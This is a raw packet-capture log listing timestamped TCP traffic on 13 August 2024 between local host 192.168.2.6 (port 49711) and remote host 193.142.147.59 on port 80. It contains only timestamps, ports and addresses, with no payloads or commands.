Aug 13, 2024 10:21:15.906403065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906414032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906445026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906466007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906469107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906478882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906491041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906501055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906514883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906517982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906523943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906533957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906543016 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906568050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906584978 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906621933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906632900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906641960 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906663895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906666994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906675100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906685114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906692982 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906696081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906707048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906717062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906722069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906729937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.906749010 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.906769991 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907461882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907473087 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907486916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907496929 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907511950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907516003 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907522917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907532930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907536983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907542944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907552958 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907562971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907572031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907572985 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907582045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907591105 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907592058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907602072 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907607079 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907613039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907623053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907632113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907634974 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907649040 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907669067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.907953978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907963991 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907973051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907989979 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.907995939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908000946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908013105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908023119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908032894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908036947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908042908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908052921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908057928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908062935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908073902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908076048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908093929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908109903 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908595085 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908606052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908616066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908627987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908638954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908649921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908651114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908662081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908674002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908679008 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908684969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908694983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908704042 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908705950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908716917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908724070 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908729076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908745050 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908746004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908759117 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908765078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908770084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.908786058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.908811092 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909584045 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909598112 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909607887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909617901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909632921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909640074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909646034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909667015 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909672022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909678936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909687996 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909692049 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909698963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909708977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909719944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909720898 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909730911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909740925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909750938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909750938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909756899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909761906 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909766912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.909775019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.909823895 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.910370111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.910382032 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.910392046 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.910403013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.910413980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.910427094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.910428047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.910455942 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.910466909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.992366076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992397070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992408037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992427111 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992436886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992448092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992451906 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.992464066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992501020 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.992665052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992676973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992721081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.992727041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992738962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992772102 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.992938042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992952108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992965937 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.992993116 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993019104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993079901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993089914 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993100882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993110895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993120909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993130922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993132114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993170023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993194103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993273020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993319035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993349075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993360043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993371010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993398905 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993405104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993416071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993423939 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993427038 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993438005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993448973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993474960 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993887901 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993901014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993910074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993920088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993928909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993938923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993938923 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993948936 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993959904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993969917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993973970 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993974924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.993983984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.993993998 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994004965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994005919 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994026899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994041920 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994467974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994479895 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994492054 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994503021 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994512081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994522095 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994530916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994533062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994543076 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994543076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994554043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994563103 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994563103 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994573116 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994581938 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994585037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994596004 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.994599104 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.994626999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995208025 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995218992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995229006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995238066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995246887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995255947 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995258093 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995269060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995279074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995284081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995290041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995297909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995305061 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995315075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995320082 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995326042 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995336056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995337963 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995346069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995356083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995361090 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995369911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995369911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995383978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.995388031 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995423079 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.995431900 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996043921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996054888 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996063948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996074915 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996083975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996093988 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996098995 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996109962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996124983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996138096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996165037 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996359110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996368885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996378899 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996387959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996398926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996408939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996411085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996418953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996428967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996442080 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996452093 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996471882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996471882 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996488094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996498108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996503115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996512890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996522903 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996532917 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996536970 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996542931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996553898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.996562958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996581078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.996602058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.997279882 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997292995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997302055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997313023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997323036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997332096 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.997333050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997343063 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997351885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997360945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.997361898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:15.997380972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:15.997405052 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.054637909 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.060611010 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.293979883 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294008017 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294020891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294044018 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294058084 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294064045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294068098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294079065 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294090033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294105053 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294131994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294239044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294250965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294275045 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294294119 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294392109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294404984 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294415951 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294425964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294431925 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294437885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294460058 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294497967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294497967 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294636011 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294646978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294677019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294687033 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294784069 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294794083 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294802904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294812918 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294822931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294835091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294852972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294922113 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.294962883 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.294997931 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295008898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295021057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295028925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295032978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:16.295053005 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295077085 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:16.295243025 CEST	80	49711	193.142.147.59	192.168.2.6
